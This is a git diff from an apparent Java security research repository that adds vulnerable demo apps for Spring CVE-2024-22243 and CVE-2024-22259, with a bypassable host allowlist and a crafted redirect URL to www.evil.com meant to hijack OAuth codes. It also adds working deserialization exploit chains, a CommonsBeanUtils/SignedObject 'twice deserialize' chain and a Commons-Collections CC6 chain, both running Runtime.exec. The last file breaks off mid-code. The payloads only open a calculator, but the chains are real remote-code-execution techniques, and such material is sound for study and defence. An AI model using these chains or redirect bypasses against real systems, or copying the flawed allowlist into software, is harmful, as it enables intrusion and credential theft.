+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html
new file mode 100644
index 00000000..11df00bb
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html
@@ -0,0 +1,11 @@
+
+
+
+ Spring Security Example
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html
new file mode 100644
index 00000000..ee6536a3
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html
@@ -0,0 +1,19 @@
+
+
+
+ Spring Security Example
+
+
+
+ Invalid username and password.
+
+
+ You have been logged out.
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java
new file mode 100644
index 00000000..e036432a
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422234ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore
new file mode 100644
index 00000000..549e00a2
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml
new file mode 100644
index 00000000..6b16e298
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml
@@ -0,0 +1,76 @@
+
+
+ 4.0.0
+ com.drunkbaby
+ CVE-2024-22243
+ 0.0.1-SNAPSHOT
+ CVE-2024-22243
+ CVE-2024-22243
+
+ 1.8
+ UTF-8
+ UTF-8
+ 2.6.13
+
+
+
+ org.springframework.boot
+ spring-boot-starter
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-dependencies
+ ${spring-boot.version}
+ pom
+ import
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 3.8.1
+
+ 1.8
+ 1.8
+ UTF-8
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+ ${spring-boot.version}
+
+ com.drunkbaby.Cve202422243Application
+ true
+
+
+
+ repackage
+
+ repackage
+
+
+
+
+
+
+
+
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java
new file mode 100644
index 00000000..93fdc7cc
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Cve202422243Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(Cve202422243Application.class, args);
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java
new file mode 100644
index 00000000..1811dd52
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java
@@ -0,0 +1,47 @@
+package com.drunkbaby.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.util.UriComponents;
+import org.springframework.web.util.UriComponentsBuilder;
+
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+
+@Controller
+@RequestMapping("/vul")
+public class VulController {
+
+ private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{
+ ".a.com"
+ }));
+
+ @GetMapping
+ public String vul(@RequestParam(name = "url") String url, HttpServletResponse response) throws IOException {
+ UriComponents uriComponents = UriComponentsBuilder.fromUriString(url).build();
+ String schema = uriComponents.getScheme();
+ String host = uriComponents.getHost();
+ String path = uriComponents.getPath();
+
+ System.out.printf("schema:%s\n", schema);
+ System.out.printf("host:%s\n", host);
+ System.out.printf("path:%s\n", path);
+
+ boolean pass = false;
+ for (String whiteDomain : whiteDomains) {
+ if (host.endsWith(whiteDomain)) {
+ pass = true;
+ break;
+ }
+ }
+ if (!pass) return "error";
+
+ return "redirect:" + url;
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java
new file mode 100644
index 00000000..a42d00b7
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422243ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore
new file mode 100644
index 00000000..549e00a2
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml
new file mode 100644
index 00000000..d7609148
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml
@@ -0,0 +1,33 @@
+
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.7.18
+
+
+ 4.0.0
+
+ spring-uricomponentsbuilder-2
+
+
+ 8
+ 8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+ org.springframework
+ spring-web
+ 5.3.32
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java
new file mode 100644
index 00000000..974624c4
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class Cve202422259Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(Cve202422259Application.class, args);
+ }
+
+}
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java
new file mode 100644
index 00000000..d27eaae4
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java
@@ -0,0 +1,74 @@
+package com.drunkbaby.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.util.UriComponents;
+import org.springframework.web.util.UriComponentsBuilder;
+
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * @author threedr3am
+ *
+ * CVE-2024-22259
+ *
+ * 使用UricomponentsBuilder解析外部提供的URL(例如通过查询参数)并对解析URL的主机执行验证检查的应用程序可能容易受到公开重定向攻击,
+ * 如果在通过验证检查后使用该URL,则可能容易受到SSRF攻击。
+ * 这与CVE-2024-22243相同,这是另一种输入不同的情况。
+ *
+ * ### 修复方案
+ * 1. 将 org.springframework:spring-web 升级至 6.1.5 及以上版本
+ * 2. 将 org.springframework:spring-web 升级至 6.0.18 及以上版本
+ * 3. 将 org.springframework:spring-web 升级至 5.3.33 及以上版本
+ *
+ * ### 参考链接
+ * https://spring.io/security/cve-2024-22259
+ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22259
+ *
+ */
+@Controller
+@RequestMapping("/oauth")
+public class OAuthController {
+
+ private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{
+ ".fuckpdd.com"
+ }));
+
+ /**
+ * 一般绕过oauth的host校验,可以开放重定向到恶意站点劫持code
+ * 访问:http://127.0.0.1:8080/oauth?redirect_uri=http%3A%2F%2F%40www.fuckpdd.com%5B%40www.evil.com%2Ftou
+ *
+ *
+ * @param redirectUri [CVE-2024-22259] -> http://@www.fuckpdd.com[@www.evil.com/tou
+ * [CVE-2024-22243] -> http://www.fuckpdd.com[@www.evil.com/tou
+ * @return
+ */
+ @GetMapping
+ public String oauth(@RequestParam(name = "redirect_uri") String redirectUri, HttpServletResponse response) throws IOException {
+ UriComponents uriComponents = UriComponentsBuilder.fromUriString(redirectUri).build();
+ String schema = uriComponents.getScheme();
+ String host = uriComponents.getHost();
+ String path = uriComponents.getPath();
+
+ System.out.printf("schema:%s\n", schema);
+ System.out.printf("host:%s\n", host);
+ System.out.printf("path:%s\n", path);
+
+ boolean pass = false;
+ for (String whiteDomain : whiteDomains) {
+ if (host.endsWith(whiteDomain)) {
+ pass = true;
+ break;
+ }
+ }
+ if (!pass) return "error";
+
+ return "redirect:" + redirectUri;
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java
new file mode 100644
index 00000000..93f3b2d0
--- /dev/null
+++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java
@@ -0,0 +1,13 @@
+package com.drunkbaby;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class Cve202422259ApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git "a/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar" "b/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar"
new file mode 100644
index 00000000..a164bac7
Binary files /dev/null and "b/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar" differ
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml b/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml
index ccfcf87d..1d129a95 100644
--- a/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml
+++ b/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml
@@ -57,12 +57,12 @@
org.apache.strutsstruts2-core
- 2.0.8
+ 2.5.32ognlognl
- 3.1.19
+ 3.1.29
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java b/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java
new file mode 100644
index 00000000..644f51a9
--- /dev/null
+++ b/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java
@@ -0,0 +1,13 @@
+package com.drunkbaby.OGNLGrammar;
+
+import ognl.Ognl;
+import ognl.OgnlException;
+
+public class Test {
+ public static void main(String[] args) throws OgnlException {
+ String expression = "#{9*9}";
+ Object expr = Ognl.parseExpression(expression);
+ Object value = Ognl.getValue(expr, expression);
+ System.out.println(value);
+ }
+}
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class
index f7ded7ab..793c044f 100644
Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class differ
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class
new file mode 100644
index 00000000..37028c1e
Binary files /dev/null and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class differ
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class
index 534d84a8..5eab7dba 100644
Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class differ
diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class
index 5da9ee63..c6922c79 100644
Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class differ
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore"
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore"
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml"
new file mode 100644
index 00000000..823878e5
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml"
@@ -0,0 +1,45 @@
+
+ 4.0.0
+
+ org.example
+ TwiceDeserialize
+ 1.0-SNAPSHOT
+
+ CommonsBeanUtils
+ Archetype - CommonsBeanUtils
+ http://maven.apache.org
+
+
+
+ commons-beanutils
+ commons-beanutils
+ 1.9.2
+
+
+
+ commons-collections
+ commons-collections
+ 3.1
+
+
+
+ commons-logging
+ commons-logging
+ 1.2
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java"
new file mode 100644
index 00000000..7285f67d
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java"
@@ -0,0 +1,71 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import org.apache.commons.beanutils.BeanComparator;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.Signature;
+import java.security.SignedObject;
+import java.util.Base64;
+import java.util.PriorityQueue;
+
+public class CommonsBeanUtilsEXP {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static void main(String[] args) throws Exception {
+ byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
+
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
+ setFieldValue(obj, "_name", "a");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ PriorityQueue queue1 = getpayload(obj, "outputProperties");
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ PriorityQueue queue2 = getpayload(signedObject, "object");
+
+ //序列化
+// ByteArrayOutputStream baos = new ByteArrayOutputStream();
+// ObjectOutputStream oos = new ObjectOutputStream(baos);
+// oos.writeObject(queue2);
+// oos.close();
+// System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
+ serialize(queue2);
+
+ //反序列化
+ deserialize("ser.bin");
+ }
+
+ public static PriorityQueue getpayload(Object object, String string) throws Exception {
+ BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+ PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
+ priorityQueue.add("1");
+ priorityQueue.add("2");
+ setFieldValue(beanComparator, "property", string);
+ setFieldValue(priorityQueue, "queue", new Object[]{object, null});
+ return priorityQueue;
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java"
similarity index 89%
rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java"
rename to "JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java"
index e2742391..6db03202 100644
--- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java"
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java"
@@ -1,5 +1,3 @@
-package src.DynamicClassLoader.URLClassLoader;
-
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
@@ -9,7 +7,7 @@
import java.io.IOException;
// 弹计算器的万能类
-public class Calc extends AbstractTranslet {
+public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
@@ -27,4 +25,4 @@ public void transform(DOM document, SerializationHandler[] handlers) throws Tran
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
-}
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..6c282754
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ CommonsBeanUtils
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..9fb51454
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $CommonsBeanUtils
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml"
new file mode 100644
index 00000000..636173d4
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml"
@@ -0,0 +1,31 @@
+
+ 4.0.0
+
+ org.example
+ TwiceDeserialize
+ 1.0-SNAPSHOT
+
+ RMIConnector
+ Archetype - RMIConnector
+ http://maven.apache.org
+
+
+ commons-collections
+ commons-collections
+ 3.2.1
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java"
new file mode 100644
index 00000000..15ac2566
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java"
@@ -0,0 +1,54 @@
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class CC6EXP {
+ public static void main(String[] args) throws Exception {
+ Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
+ Transformer[] transformers = new Transformer[]{
+ new ConstantTransformer(Runtime.class),
+ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
+ new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
+ new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
+ new ConstantTransformer(1),
+ };
+
+ // 先使用fakeTransformer防止本地命令执行
+ Transformer transformerChain = new ChainedTransformer(fakeTransformers);
+
+ Map innerMap = new HashMap();
+ Map outerMap = LazyMap.decorate(innerMap, transformerChain);
+ TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
+
+ Map objMap = new HashMap();
+ objMap.put(tiedMapEntry, "value");
+ outerMap.remove("key");
+
